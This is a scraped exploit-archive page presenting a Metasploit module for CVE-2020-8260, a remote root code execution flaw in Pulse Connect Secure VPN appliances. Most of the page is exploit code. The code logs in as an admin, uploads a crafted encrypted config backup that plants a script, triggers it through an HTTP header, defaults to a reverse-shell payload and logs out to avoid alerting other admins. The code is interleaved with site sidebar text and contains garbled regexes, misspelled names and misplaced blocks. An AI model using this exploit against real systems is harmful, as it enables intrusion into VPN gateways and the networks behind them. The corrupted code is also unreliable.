

Pulse Secure VPN Remote Code Execution

Authored by h00die, Spencer McIntyre, Richard Warren, David Cash | Site metasploit.com

Posted Dec 18, 2020

The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.

tags | exploit, remote, arbitrary, root, code execution

advisories | CVE-2020-8260

SHA-256 | 8de39b3d864b347239de1ec3dc821eb3dbbd1f8d117938aab08b12b371a9dbc1 Download | Favorite | View

Related Files

Share This

LikeTwitterLinkedInRedditDiggStumbleUpon

Change MirrorDownload

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  ENCRPTION_KEY =
"\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe4\x83\xf8\x1f\x58\xb0\xe9\xe5".b

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pulse Secure VPN gzip RCE',
        'Description' => %q{
          The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction
          vulnerability
          which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
          Admin credentials are required for successful exploitation.
          Of note, MANY binaries are not in '$PATH', but are located in '/home/bin/'.
        },
        'Author' => [
          'h00die', # msf module
          'Spencer McIntyre', # msf module
          'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
          'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
        ],
        'References' => [
          ['URL', 'https://gist.github.com/rwxw/03a036d8982c9a3cead0c053cf334605'],
          ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
          ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
          ['CVE', '2020-8260']
        ],
        'DisclosureDate' => '2020-10-26',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          {
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
            }
          ],
          {
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          }
        ],
        'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER:FLAVOR' => 'curl' },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'RelatedModules' => [ 'auxiliary/gather/pulse_secure_file_disclosure' ]
        }
      )
    )
  end

  register_options([
    OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
    OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
    OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
  ])

  register_advanced_options([
    OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
  ])
end

def check(exploiting: false)
  login
  res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
  fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res.code == 200
  version = res.body.scan(%r{id="span_state_counter_total_users_count"[^>]+>{[^<()]+(?:\b(?:\d+|))?)?
  /span>)%s.last
  fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
  version, build = version

  return CheckCode::Unknown unless version.include?('R')

  version, revision = version.split('R', 2)
  print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
  return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

  CheckCode::Detected
rescue Msf::Exploit::Failed
  CheckCode::Unknown
ensure
  logout unless exploiting
end

def exploit
  case (checkcode = check(exploiting: true))
  when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
    print_good(checkcode.message)
  when Exploit::CheckCode::Detected
    print_warning(checkcode.message)
  else
    fail_with(Module::Failure::Unknown, checkcode.message.to_s)
  end
end
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)  
Advisory (79,754)  
Arbitrary (15,694)  
BBS (2,859)  
Bypass (1,619)  
CGI (1,018)  
Code Execution (6,926)  
Conference (673)  
Cracker (840)  
CSRF (3,290)  
DoS (22,602)  
Encryption (2,349)  
Exploit (50,359)  
File Inclusion (4,165)  
File Upload (946)  
Firewall (821)  
Info Disclosure (2,660)  
Intrusion Detection (867)  
Java (2,899)  
JavaScript (821)  
Kernel (6,291)  
Local (14,201)  
Magazine (586)  
Overflow (12,419)  
Perl (1,418)  
PHP (5,093)  
Proof of Concept (2,291)  
Protocol (3,435)  
Python (1,467)  
Remote (30,044)  
Root (3,504)  
Ruby (594)  
Scanner (1,631)  
Security Tool (7,777)  
Shell (3,103)  
Shellcode (1,204)  
Sniffer (886)

File Archives

December 2022  
November 2022  
October 2022  
September 2022  
August 2022  
July 2022  
June 2022  
May 2022  
April 2022  
March 2022  
February 2022  
January 2022  
Older

Systems

AIX (426)  
Apple (1,926)  
BSD (370)  
CentOS (55)  
Cisco (1,917)  
Debian (6,634)  
Fedora (1,600)  
FreeBSD (1,242)  
Gentoo (4,272)  
HPUX (878)  
IOS (330)  
iPhone (108)  
IRIX (220)  
Juniper (67)  
Linux (44,315)  
Mac OS X (684)  
Mandriva (3,105)  
NetBSD (255)  
OpenBSD (479)  
RedHat (12,469)  
Slackware (941)  
Solaris (1,607)

```

case target['Type']
when :unix_memory
  execute_command(payload.encoded)
when :linux_droppper
  execute_cmdstager(
    linemax: 262144, # 256KiB
    delay: datastore['CMDSTAGER::DELAY']
  )
end

logout
end

def execute_command(command, _opts = {})
  trigger = Rex::Text.rand_text_alpha_upper(8)
  print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

  config = build_malicious_config(command, trigger)
  res = upload_config(config)

  fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200

  print_status('Triggering RCE')
  send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
    'headers' => { trigger => trigger }
  )
end

def res_get_xsauth(res)
  res.body.scan(/{name="xsauth" value="(.*?)"/>})&.last&.first
end

def upload_config(config)
  print_status('Requesting backup config page')
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
    'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi'))?type=system" },
    'vars_get' => { 'type' => 'system' }
  )
  fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res.code == 200
end

xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

post_data = Rex::MIME::Message.new
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part('!import', nil, nil, 'form-data; name="op"')
post_data.add_part('system', nil, nil, 'form-data; name="type"')
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
post_data.add_part('!', nil, nil, 'form-data; name="txtPassword1"')
post_data.add_part('!Import Config', nil, nil, 'form-data; name="btnUpload"')
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

print_status('Uploading encrypted config backup')
send_request_cgi(
  'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
  'method' => 'POST',
  'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi'))?type=system" },
  'data' => post_data.to_s,
  'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
end

def login
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
    'method' => 'POST',
    'vars_post' => {
      'tz_offset' => '-300',
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'realm' => 'Admin Users',
      'btnSubmit' => 'Sign In'
    },
    'keep_cookies' => true
  )

  fail_with(Failure::UnexpectedReply, 'Login failed') unless res.code == 302
  location = res.headers['Location']
  fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

  return unless location.include?('admin%2Dconfirm')

  # If the account we login with is already logged in, or another admin is logged in, a warning is displayed.
  Click through it.
  print_status('Other admin sessions detected, continuing')
  res = send_request_cgi(
    'uri' => location, 'keep_cookies' => true
  )
  fail_with(Failure::UnexpectedReply, 'Login failed') unless res.code == 200
  fds = res.body.scan(/name="FormDataStr" value="(.*?)"/>).last
  xsauth = res_get_xsauth(res)
  fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
    'method' => 'POST',
    'vars_post' => {
      'btnContinue' => 'Continue the session',
      'FormDataStr' => fds.first,
      'xsauth' => xsauth
    },
    'keep_cookies' => true
  )
  fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end

def logout
  print_status('Logging out to prevent warnings to other admins')
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi')
  )
  fail_with(Failure::UnexpectedReply, 'Logout failed') unless res.code == 200

  logout_uri = res.body.scan(/{/dana-na/auth/logout.cgi?xsauth=(w+)/.first
  fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

  res = send_request_cgi(
    'uri' => logout_uri
  )
  fail_with(Failure::UnexpectedReply, 'Logout failed') unless res.code == 302
end

def build_malicious_config(cmd, trigger)
  payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13)).sh"
  perl = <<PERL
  if (length $ENV{HTTP_#(trigger)}){
    chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
    system("env /data/var/runtime/tmp/tt/#{payload_script}");
  }
  PERL
  tarfile = StringIO.new
  Gem::Package::TarWriter.new(tarfile) do |tar|
    tar.mkdir('tmp', 509)
    tar.mkdir('tmp/tt', 509)
    tar.add_file('tmp/tt/setcookie.html.ttc', 511) do |tio|
      tio.write perl
    end
    tar.add_file('tmp/tt/#{payload_script}', 511) do |tio|
      tio.write "PATH=/home/bin:$PATH\n"
      tio.write "rm -- \"\$0\"\n"
      tio.write cmd
    end
  end

  gzfile = StringIO.new
  gz = Zlib::GzipWriter.new(gzfile)
  gz.write(tarfile.string)
  gz.close

  encrypt_config(gzfile.string)
end

def encrypt_config(config_blob)
  cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
  iv = cipher.iv = cipher.random_iv
  cipher.key = ENCRYPTION_KEY

  md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

  ciphertext = cipher.update(config_blob)
  ciphertext << cipher.final
  md5 << ciphertext

  cipher.reset

```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

```
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
end
end
```

[Login](#) or [Register](#) to add favorites

**packet storm**  
© 2022 Packet Storm. All rights reserved.

#### Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

#### About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

#### Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)